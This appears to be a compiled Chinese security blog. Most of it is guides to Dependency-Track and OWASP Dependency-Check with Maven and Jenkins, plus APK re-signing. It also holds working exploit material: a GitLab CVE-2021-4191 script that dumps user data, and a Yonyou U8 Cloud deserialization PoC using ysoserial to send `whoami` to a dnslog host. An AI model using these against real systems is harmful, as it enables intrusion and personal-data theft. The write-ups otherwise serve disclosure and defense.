Dependency Track BOM文件推送插件使用

Dependency Track BOM文件推送插件使用

本文转自 Yemoox 并作补充

一、干活啦,猪头

开源第三方扫描工具Dependency的免费版-Dependency Track,用户第三方组件的漏洞监控,只需要推送BOM文件,就可以自动创建项目,然后进行检查。但在Java项目里,只有pom.xml文件,如何把利用pom.xml快速的生成bom文件,则成了如何帅气使用dependency Track的重要问题。靠着孜(不)孜(要)不(脸)倦(屁)的精神,终于把这个问题搞定了。

二、配置pom.xml文件

首先获取pom.xml文件,用IDEA打开,并为这个文件单独创建项目。

image

此时需要进行dependency Track的插件配置,插件地址为:https://github.com/pmckeown/dependency-track-maven-plugin,这里进行插件配置。
在pom.xml文件中找到plugins插件配置位置,添加插件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<plugin>
<groupId>io.github.pmckeown</groupId>
<artifactId>dependency-track-maven-plugin</artifactId>
<version>1.0.0</version>
<configuration>
<dependencyTrackBaseUrl>dependencyTrack URL</dependencyTrackBaseUrl>
<apiKey>api_key</apiKey>
</configuration>
</plugin>


<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.5.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
<configuration>
<projectType>library</projectType>
<schemaVersion>1.2</schemaVersion>
<includeBomSerialNumber>true</includeBomSerialNumber>
<includeCompileScope>true</includeCompileScope>
<includeProvidedScope>true</includeProvidedScope>
<includeRuntimeScope>true</includeRuntimeScope>
<includeSystemScope>true</includeSystemScope>
<includeTestScope>false</includeTestScope>
<includeLicenseText>false</includeLicenseText>
<outputFormat>all</outputFormat>
<outputName>bom</outputName>
</configuration>
</plugin>

在dependencyTrackBaseUrl条目中加入你的dependencyTrack地址,也就是你的访问URL,apikey条目中加入你的apikey,可在你的后台获取,注意这个apikey需要有添加权限,我这里直接给的最高的,避免出现未知情况。如果你的pom.xml文件中没有私有仓库地址,就可以运行命令进行生成bom文件,然后上传。

三、Maven私有仓库配置

因为演示的pom.xml中包含私有仓库,则需要对Maven进行私有仓库配置。如果你使用的是本地搭建的maven,则需要修改setting文件。如果是使用的是IDEA自带的Maven则需要改IDEA的maven配置。可以百度一下如何配置本地的maven私有库。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

四、BOM文件生成与上传

现在已经在pom.xml中配置好了dependencyTrack插件,和maven私有仓库。则可以在pom.xml目录下,运行BOM生成命令。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

此时在当前目录下已经生成target文件夹,以及该文件夹下的bom.xml文件,在运行上传命令,上传bom文件,上传成功后便可以去dependencyTrack查看项目了。

1
mvn dependency-track:upload-bom   

Dependency Check

Dependency Check

本文转自 icybersec 并作补充

https://github.com/jeremylong/DependencyCheck

简介

Dependency-Check 是一个开源的安全漏洞扫描工具,用于检查应用程序和依赖项中的已知漏洞。它可以扫描各种编程语言的依赖项,如Java、Python、.NET等,并根据公开的漏洞数据库,如NVD、OSV等,检查依赖项的版本是否存在已知的安全漏洞。

Dependency-Check 可以通过命令行或插件集成到各种构建工具中,如Maven、Gradle、Ant等。它会生成报告,显示已检测到的漏洞以及建议的修复措施。这些报告可以帮助开发人员识别和解决与应用程序或依赖项相关的安全问题,从而提高应用程序的安全性。

cli

dependency-check.sh支持的参数:

  • –advancedHelp:打印高级帮助信息。
  • –enableExperimental:启用实验性的分析器。
  • –exclude :指定一个排除模式。可以多次指定此选项,并接受 Ant 风格的排除。
  • -f,–format :指定报告格式(HTML、XML、CSV、JSON、JUNIT、SARIF、JENKINS 或 ALL)。默认为 HTML。可以指定多个格式参数。
  • –failOnCVSS :指定如果检测到 CVSS 分数高于指定级别的漏洞,构建是否应该失败。默认为 11;由于 CVSS 分数为 0-10,因此默认情况下构建永远不会失败。
  • -h,–help:打印帮助信息。
  • –junitFailOnCVSS :指定在生成 junit 报告时,被认为是失败的 CVSS 分数。默认值为 0。
  • -l,–log :写入详细日志信息的文件路径。
  • -n,–noupdate:禁用自动更新 NVD-CVE、hosted-suppressions 和 RetireJS 数据。
  • -o,–out :写入报告的文件夹路径。默认为当前目录。如果未将格式参数设置为 ALL,则可以将其设置为特定的文件名。
  • –prettyPrint:指定 JSON 和 XML 报告格式将被漂亮地打印。
  • –project :正在扫描的项目的名称。
  • -s,–scan :要扫描的路径 - 可以多次指定此选项。支持 Ant 风格的路径(例如,’path/**/*.jar’);如果使用 Ant 风格的路径,则强烈建议将参数值用引号引起来。
  • –suppression :抑制 XML 文件的文件路径。可以多次指定此选项以使用多个抑制文件。
  • -v,–version:打印版本信息。

对webgoat7的组件进行扫描

https://github.com/mpogr/WebGoat-7.0.1

1
./dependency-check.sh -s /tmp/WebGoat-7.0.1/ --project webgoat

输出扫描报告,没有扫描到有用的东西。

image

jenkins

docker启动Jenkins

1
docker run -itd -p 8080:8080 -p 50000:50000 -u root -v /tmp/jenkins:/var/jenkins_home   -v  /tmp/maven:/usr/local/maven jenkins/jenkins:2.344

安装插件

image

全局工具配置

Jenkins可以通过全局工具配置来安装一个或多个Dependency-Check版本。可以自动安装Dependency-Check,这将从Github下载并提取官方的命令行界面(CLI),或者可以手动安装官方版本,并在配置中引用安装路径。Dependency-Check是一个用于识别应用程序中存在的已知漏洞和依赖项的开源工具。

image

Builder

Builder是指使用预定义的Dependency-Check CLI安装之一执行分析的组件。在Jenkins中,特定于配置的部分很少,工作配置中的重要方面是“Arguments”字段,该字段直接发送到定义的CLI安装程序。Builder用于在Jenkins工作流中集成Dependency-Check分析。Builder的配置将传递给Dependency-Check CLI进行分析,并将分析结果传递回Jenkins用于显示和后续处理。

对webgoat进行maven编译,生成JAR包

image

Publisher

Publisher是一个独立于工具配置或Builder的组件,负责读取dependency-check-report.xml并生成指标、趋势、发现,并根据可配置的阈值选择性地将构建设为失败或警告状态。在Jenkins工作流程中,Publisher用于生成Dependency-Check的度量和报告,并可根据预定义的阈值将构建标记为失败或警告状态。通过读取dependency-check-report.xml文件,Publisher可以对构建进行分析并提供有关依赖项和已知漏洞的详细信息。

image

结果

构建结果

image

当任务配置了Publisher时,趋势图将显示按严重性分组的结果总数。

image

点击Latest Dependency-Check,可以看到具体的组件报告

image

image

maven

mvn

这是 Maven 插件 Dependency-Check 的命令,用于检测应用程序依赖项中已知漏洞并生成报告。

1
mvn org.owasp:dependency-check-maven:check
1
mvn org.owasp:dependency-check-maven:aggregate

命令执行是全面的漏洞扫描,并生成包含所有依赖项中已知漏洞信息的报告

image

使用maven进行扫描webgoat7可以看到报告里面有JAR包组件漏洞,比直接CLI扫描更能发现问题。

image

pom.xml

①检测组件

在目标目录中创建 dependency-check-report.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

在IDEA进行maven verify,生成报告

image

②检测所有依赖项

在站点内创建汇总的依赖性检查报告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<reporting>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<reportSets>
<reportSet>
<reports>
<report>aggregate</report>
</reports>
</reportSet>
</reportSets>
</plugin>
...
</plugins>
...
</reporting>
...
</project>

③CVSS评分过滤

创建 dependency-check-report.html 并使 CVSS 大于或等于 8 的构建失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<failBuildOnCVSS>8</failBuildOnCVSS>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

效果如下

image

④跳过没有使用到组件

通常情况下,使用 mvn org.owasp:dependency-check-maven:aggregate命令来运行 OWASP 的 “dependency-check-maven” 插件,以检查项目依赖项中是否存在已知的安全漏洞,并生成报告。

但是,有时候我们不想包含某些依赖项,比如 provided 范围的依赖,这些依赖项不会被打包到分发包中,因此不需要进行漏洞检查。在这种情况下,可以使用上述命令来创建报告并跳过这些依赖项,以提高效率和减少报告中的噪音。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<skipProvidedScope>true</skipProvidedScope>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑤使用内部CVE源

创建 dependency-check-report.html报告文件,并使用内部 CVE 内容的镜像。这意味着,dependency-check-maven插件将使用本地存储的 CVE 内容,而不是从网络上获取。这通常可以提高扫描的速度,并且可以在没有网络连接的情况下进行扫描。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<cveUrlModified>http://internal-mirror.mycorp.com/nvdcve-1.1-modified.json.gz</cveUrlModified>
<cveUrlBase>http://internal-mirror.mycorp.com/nvdcve-1.1-%d.json.gz</cveUrlBase>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑥仅更新仓库

从 NIST 更新 NVD 数据的本地缓存,而不分析依赖关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>update-only</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑦抑制误报

使用多个抑制文件(例如公司范围的抑制文件和本地项目文件)抑制误报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<suppressionFiles>
<suppressionFile>http://example.org/suppression.xml</suppressionFile>
<suppressionFile>project-suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

【安全测试】Owasp Dependency-check 集成jenkins

【安全测试】Owasp Dependency-check 集成jenkins

本文转自 码上起舞 并作补充

一、目的

本文主要记录我在搭建安全体系中第三方依赖检查的过程中,使用Owsap dependency-check的过程及问题

二、OWASP Dependency-check简介

dependency-check适用于对代码中使用到的第三方依赖包进行扫描检测,查看引入的第三方包是否有已知的漏洞和缺陷,及早暴露风险及解决。

其原理可以在另一篇文章中查看。

三、OWASP Dependency-check 安装及使用

dependency check支持jenkins插件集成,也支持linux下命令行模式执行,还支持maven等。

ps:maven集成需要修改pom.xml,然后用命令

  • mvn org.owasp:dependency-check-maven:check
  • mvn dependency:list|grep -i “log4j*”
  • mvn dependency:tree

我们采用linux下命令行模式执行,然后在jenkins中execute shell集成denpendency-check的脚本,并利用jenkins插件,发布dependency-check的报告。

3.1 dependency-check下载

  1. command line安装包下载地址:https://owasp.org/www-project-dependency-check/
  2. jenkins插件下载地址:http://updates.jenkins-ci.org/download/plugins/dependency-check-jenkins-plugin/

image

点击Command Line,即可下载 dependency-check-7.0.4-release.zip

3.2 dependency-check使用(纯cmd模式)

将下载下来的dependency包解压后,进入bin目录,可以看到有dependency-check.sh 和dependency-check.bat脚本,sh脚本是linux使用脚本,bat是windows使用脚本。

我们以linux使用为例,将解压后文件夹拷贝到linux目录/data/tools

进入bin目录,执行 sh dependency-check.sh -help 查看命令行使用帮助。

执行扫描命令如下:

DIR=/data/tools/apps/

sh /data/tools/dependency-check/bin/dependency-check.sh -s ${DIR} –format HTML –format XML -o ./ –disableNodeAudit

命令行说明:

  • -s :扫描对象的路径,扫描的是文件夹路径下的所有文件的,例如war包,jar包均可被扫描
  • –format:生成报告的格式
  • -o :报告生成的路径

3.3 查看扫描结果

在-o指定的路径下会生成dependency的dependency-check-report.html报告,浏览器打开即可查看扫描内容

image

扫描结果会有个工程汇总信息,总共扫描多少个dependencies,有多少个漏洞被发现等

在工程信息下面会有汇总信息,比如对应的每个依赖包,例如abc.jar包,对应的cpe信息,以及枚举的漏洞级别数量等信息,每个漏洞对应具体的CVE号。需要具体分析;

也可以结合jenkins发布xml报告,查看更详细的信息,见步骤四。

四、dependency-check集成jenkins配置

  • 目的:扫描指定路径下的文件,路径下可能有需要部署的jar包和war包。路径暂定jenkins的变量${WORKSPACE}
  • 前提:
  1. 安装jenkins的dependency-check查看,方便发布报告用。
  2. 部署jenkins的linux服务器上已经安装第三部安装好dependency check软件包。

4.1 新建jenkins工程,自由风格

配置完成后构建效果如下,可以上传文件(jar,war,zip等包,点击构建开始扫描)

image

配置上传文件如下:

image

4.2 execute shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
cp jsrepository.json.right jsrepository.json #这步是因为有时候会构建失败,然后发现jsrepository.json是空的,每次扫描前用一个正确的去替换,确保扫描的稳定性
echo ${BUILD_NUMBER}echo ${WORKSPACE}cd ${WORKSPACE}
sh /home/appdeploy/dependency-check/bin/dependency-check.sh -s ${WORKSPACE}/file/ --format HTML --format XML -o ./
#如果使用本地库,需加上如下命令参数(本地镜像库需自己搭建后,将这些文件发布成可以http访问)
--cveUrlModified http://nvdcve-mirror.domain.com/nvdcve-1.1-modified.json.gz  --cveUrlBase http://nvdcve-mirror.domain.com/nvdcve-1.1-%d.json.gz

### 4.3 jenkins发布xml报告

![image](5.png)

### 4.4 jenkins发布html报告

![image](6.png)

### 4.5 构建完成后查看html报告

![image](7.png)

### 4.6 查看jenkins发布的xml报告

点击进入构建号的build页,左侧可以看到Dependency-check的选项,点击即可出现表格式的漏洞汇总

![image](8.png)

![image](9.png)

说明:在这个dependecny-check结果列表里面,会列出所有有漏洞的第三方依赖包,包括依赖包的名字,对应的漏洞CVE id,漏洞等级等信息,点击对应的包名,可以查看依赖包所在的路径,以及漏洞的描述。如果信息不够,可以查看html中的详细内容,以及搜索对应的CVE编号,去NVD漏洞库中查看完整的漏洞信息及解决方案。

NVD漏洞库:https://nvd.nist.gov/vuln/detail/CVE-2020-44226

不同的漏洞编号,替换后面的CVE编号查询即可。

**报告中一些重要字段的含义:**

· Dependency - 被扫描的第三依赖库名字

· CPE - 所有被识别出来的CPE.

· GAV - Maven 组, Artifact, 版本 (GAV).

· Highest Severity - 所有关联的cve的最高漏洞等级

· CVE Count - 关联的cve个数

· CPE Confidence - dependency-check正确识别cpe的程度

· Evidence Count - 识别CPE的数据个数

### 4.7 举一反三

- 1.扫描中的dir可以提取出来当build with param的参数,可以单独执行,也可以上下游工程串联执行
- 2.扫描中的dir可以是git自动down下来的文件夹目录,即只要构建参数指定git地址和分支名称,即可实现对该分支自动扫描

## 五、解析html文件用于消息的发送

解析html报告的代码文件get_security_result.py,获取html报告中summary数据中的critical的漏洞数量

```python
from bs4 import BeautifulSoup
from lxml import etree

class GetSecRes:

def get_dependency_critical_num_with_lxml(self, filename):
'''
用lxml库解析安全扫描的html报告,并统计出其中的critical的漏洞数量
:param filename: dependency-check扫描完成后生产的html文件,文件名全路径
:return:critical数量
'''
# 读取html文件
with open(filename, encoding='utf-8') as f:
data = f.read()
doc = etree.HTML(data)
# 获取漏洞汇总表中的漏洞行信息
trs = doc.xpath('//*[@id="summaryTable"]//tr[@class=" vulnerable"]')
criticalres = []
# 统计出每行的critical数量
for tr in trs:
tr_list = tr.xpath('./td/@data-sort-value')
td_text = tr.xpath('./td/text()')
tr_list.extend(td_text)
[criticalres.append(td) for td in tr_list if "CRITICAL" == td]
return (len(criticalres))

if __name__ == '__main__':
import sys
filename = sys.argv[1]
criticalres = GetSecRes().get_dependency_critical_num_with_lxml(filename)
print(criticalres)

集成get_security_result.py到jenkins的execute shell中(在sh下执行python脚本)

1
2
critical=$(python3 /data/script/get_security_result.py ${DIR}/dependency-check-report.html)
echo $critical

六、Troubshooting

6.1 Could not connect to Central search. Analysis failed.

问题描述:jenkins构建时,提示连接失败

image

问题解决:
https://issues.jenkins.io/browse/JENKINS-47991
1.原因是jenkins访问maven失败,需要在jenkins服务器开通访问 https://search.maven.org/这个地址的权限
2.测试访问:
# curl https://search.maven.org/

6.2 Failed to request component-reports

问题描述:

jenkins构建dependency-check时,生成报告,报错

image

问题解决:
1.原因是因为jenkins服务器无法访问https://ossindex.sonatype.org/
加上授权即可构建成功

6.3 owasp 需要的外网访问权限包括

https://nvd.nist.gov
https://search.maven.org/
https://ossindex.sonatype.org/
https://retirejs.github.io
https://github.com/advisories
https://registry.npmjs.org
https://www.npmjs.com

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

本文转自 jake-baines 并作补充

2022年2月25日,GitLab发布了针对CVE-2021-4191的修复程序,该漏洞属于CWE-359 “向未经授权的攻击者暴露私人个人信息”的一个实例。此漏洞现已修复,影响GitLab 13.0及更高版本。该漏洞是由于执行某些GitLab GraphQL API查询时缺少身份验证检查造成的。远程未经身份验证的攻击者可以利用此漏洞收集已注册的GitLab用户名、姓名和电子邮件地址。我们对此问题的初始CVSSv3基本评分为5.3

Metasploit 模块已可用,我们预计该漏洞会被用于信息收集和用户名列表生成。单独使用该漏洞的影响可能微乎其微,但如果结合暴力破解密码和撞库攻击,则可能造成严重后果。

Credit

该问题由高级安全研究员Jake BainesRapid7 的漏洞披露计划中发现并报告。

Impact

GitLab GraphQL API 信息泄露事件允许远程未经身份验证的攻击者恢复用户名、姓名,有时甚至包括电子邮件地址。乍一看,这似乎风险很小。然而,账户发现之所以是 MITRE ATT&CK 框架中的一项技术,是有原因的。收集有效用户账户列表是各种暴力破解攻击的第一步,例如密码猜测密码喷洒凭证填充攻击

这类攻击看似简单,但却十分有效。包括EmotetFancy BearNobelium在内的许多成功的恶意软件/组织都曾使用过这种技术。

开源攻击性安全社区也投入了大量时间开发暴力破解工具,这再次印证了暴力破解在实际攻击中仍然是一种可行的攻击手段。诸如ncrackPatatorCrackMapExecTHC-Hydra等开源暴力破解工具就是例证。

利用攻击者提供的用户名列表实施攻击。GitLab GraphQL API 信息输出的是有效的用户名。因此,此漏洞与现有工具相辅相成。

虽然攻击者总是可以使用包含已知用户名的常用 字典,但暴力破解攻击利用被攻击组织的已知有效用户名,可以提高其成功几率。

此次信息泄露还可能使攻击者能够基于 GitLab 安装创建新的用户名字典——不仅包括 gitlab.com,还包括可以从互联网访问的其他 50,000 个 GitLab 实例。

image

这样的字典并非史无前例。2021年,Clubhouse 曾公开一个 API,允许未经认证的用户枚举 Clubhouse 的用户群。攻击者利用该 API 将数据合并到一个数据库中,然后将其发布到黑客论坛上供任何人使用。

需要注意的是,这并非 GitLab 首次从 API 泄露类似细节。早在 2015 年,MWR Infosecurity就发布了一篇博客文章和一个未经身份验证的远程Metasploit 模块,该模块使用 /api/v3/internal/discover?key_id= API 枚举用户帐户。

Exploitation

经与 GitLab 工程团队协商,我们确认该问题最初是在 GitLab 13.0 中引入的。

存在漏洞的端点是 /api/graphql。GitLab文档指出,身份验证使用个人访问令牌,如下所示。

image

然而,并非所有对该端点的请求都需要身份验证。GitLab 的 /-/graphql-explorer 端点是测试这一点的理想场所。在下图左侧,您可以看到一个用于获取所有用户 ID、姓名和用户名的 GraphQL 请求,右侧则是响应。

image

除了ID、姓名和用户名之外,攻击者还可以获取更多信息。以下列出了未经身份验证的远程攻击者可以窃取的更完整信息列表。

image

以下 Python 脚本将打印一个 CSV 文件,其中包含已发现的 ID、用户名、姓名、电子邮件地址以及用户是否为机器人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)

for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False

以下是上述输出的示例:

1
2
3
4
5
6
albinolobster@ubuntu:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,test@test.com,False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

除了构建用于凭证攻击的用户名列表外,攻击者还可以利用这些信息来发现受影响用户的其他社交媒体帐户和联系人。这可以通过查询单个 GitLab 个人资料页面或简单地将用户名、姓名和电子邮件地址与其他来源进行交叉比对来实现。这种信息收集方式使攻击者能够发起更复杂的网络钓鱼攻击。

Mitigation

除非您打算将 GitLab 作为任何人都可以访问的公共资源提供,否则请确保您的 GitLab 实例无法从互联网访问。当然,我们也强烈建议用户将 GitLab 服务器实例更新到最新版本(14.8.2、14.7.4 和 14.6.5)。禁用公开个人资料也是防止未经授权的信息收集的有效措施。

要禁用公开个人资料,请转到“管理区域”->“常规”->“可见性和访问控制”->“受限可见性级别”。然后选中“公开”旁边的复选框。这样应该可以阻止任何未登录的用户查看用户个人资料。

Disclosure timeline

  • 2021年11月: Rapid7公司的Jake Baines初步发现并确认。
  • 2021年11月18日,星期四:首次联系GitLabs
  • 2021年11月23日,星期二:已向 GitLabs 提交问题 #1408214,并提供了完整的技术细节。
  • 2022年1月17日,星期一:供应商表示,在11月和12月多次更新状态后,修复程序即将推出。
  • 2022年2月8日,星期二:修复程序已准备就绪,经过测试,将在下一次安全更新中发布。
  • 2022年2月25日,星期五: 发布了针对CVE-2021-4191的补丁
  • 2022年3月1日,星期二: Metasploit模块PR#16252已提交,用于修复CVE-2021-4191漏洞。
  • 2022年3月3日,星期四:公开披露CVE-2021-4191(本文档)

用友U8 Cloud 反序列化RCE漏洞复现

用友U8 Cloud 反序列化RCE漏洞复现

本文转自 OidBoy_G 并作补充

0x01 产品简介

用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。

0x02 漏洞概述

用友U8 Cloud存在多处(FileManageServlet和LoginVideoServlet)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列化利用链,最终造成远程代码执行。

0x03 影响范围

用友U8 Cloud 所有版本

0x04 复现环境

FOFA:app=”用友-U8-Cloud”

0x05 漏洞复现

两处接口的反序列化漏洞路径:

1
2
/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet
/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet

PS:用友的反序列化漏洞大部分cc6就可以直接打,post请求传入反序列化的二进制数据 就可以进行命令执行,ysoserial工具集成了多种cc链,感兴趣的可以研究研究

工具地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

构造序列化数据(jdk1.8)

1
java -jar ysoserial-all.jar CommonsCollections6 "ping `whoami`.l4z6nq7x.dnslog.pw" >4.ser

PoC

1
2
3
4
5
6
7
8
9
10
11
POST /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

POST /servlet/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

PS:里面生成序列化数据文件的路径自行修改

两个路径都可以打,自行测试

0x06 修复建议

官方修复方案

用友安全中心已发布官方补丁:

https://security.yonyou.com/#/noticeInfo?id=400

https://security.yonyou.com/#/noticeInfo?id=399

临时修复方案:

使用ACL网络策略限制访问来源;

使用防护类设备对/servlet/uap/nc.impl.pub.filesystem.FileManageServlet和/servlet/uap/nc.bs.sm.login2.LoginVideoServlet路径进行防护。

Android加固之后Apk重签名

Android加固之后Apk重签名

本文转自 ganzhijie 并作补充

Java:jarsigner java自带的jar签名,也就是我们Android打包的v1签名,签名方案只能v1。
Android:apksigner Android特有的签名,也就是打包的v2签名,支持多种签名方案(v1~v4)。

需要注意的是,因为 apksigner 是Google在 Android 7.0 Nougat 推出的,所以我们的版本号的选择需要 >= 24.0.3 ,否则只能选择 jarsigner 方式打v1包。

如果您使用的是 apksigner,则必须在为 APK 文件签名之前使用 zipalign。如果您在使用 apksigner 为APK 签名之后对 APK 做出了进一步更改,签名便会失效。
如果您使用的是 jarsigner,则必须在为 APK 文件签名之后使用 zipalign。

下面是检查apk是否对齐的方法,打开终端输入:
zipalign -c -v 4 apk路径
例如:
zipalign -c -v 4 /android/tools/jiagu/apk/jiagu.apk

接下来就是利用终端,实现apk对齐操作,在打开的终端输入:
zipalign -v 4 「需要对齐操作的apk地址」 「对齐之后生成的地址」
例如:
zipalign -v 4 /android/tools/jiagu/apk/jiagu.apk /android/tools/jiagu/apk/zipaligned.apk
出现 “Verification succcessful” 为对齐成功。

下面是检查是否签名的终端语句,在打开的终端输入:

apksigner verify -v 检查的apk路径
例如:
apksigner verify -v /android/tools/jiagu/apk/zipaligned.apk

接下来继续在终端输入「apksigner」重签名语句

apksigner sign -verbose –ks 「jks文件路径」 –v1-signing-enabled (「true/false」v1打包开启/关闭) –v2-signing-enabled (「true/false」v2打包开启/关闭) -ks-key-alias (jks别名 key-alias) –ks-pass pass: (jks密码,key store password) –key-pass pass:(key 密码,key password) –out 「生成的apk路径,重签名后的」 「对齐之后的apk路径」
例如:
apksigner sign -verbose –ks /android/tools/jiagu/apk/ks/abc.keystore –v1-signing-enabled true –v2-signing-enabled true –ks-key-alias abc.keystore –ks-pass pass:123456 –key-pass pass:123456 –out /android/tools/jiagu/apk/signed.apk /android/tools/jiagu/apk/zipaligned.apk
终端运行结果如下:出现 Signed 则为重签名成功。

总结:apksigner签名流程。

加固并下载 ===> 检查是否对齐 ===> 对齐「zipalign」 ===> 检查是否对齐 ===> 检查apk是否签名 ===> 「apksigner」重签名 ===> 是否重签名成功

PHP CGI 远程代码执行漏洞分析(CVE-2024-4577)

PHP CGI 远程代码执行漏洞分析(CVE-2024-4577)

本文转自 洞源实验室 并作补充

本文分析了由DEVCORE团队研究发现的PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。

0x00 漏洞概述

CVE-2024-4577是一个影响在Windows平台上运行的PHP CGI的远程代码执行漏洞。

漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。

0x01 影响范围

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。

0x02 复现

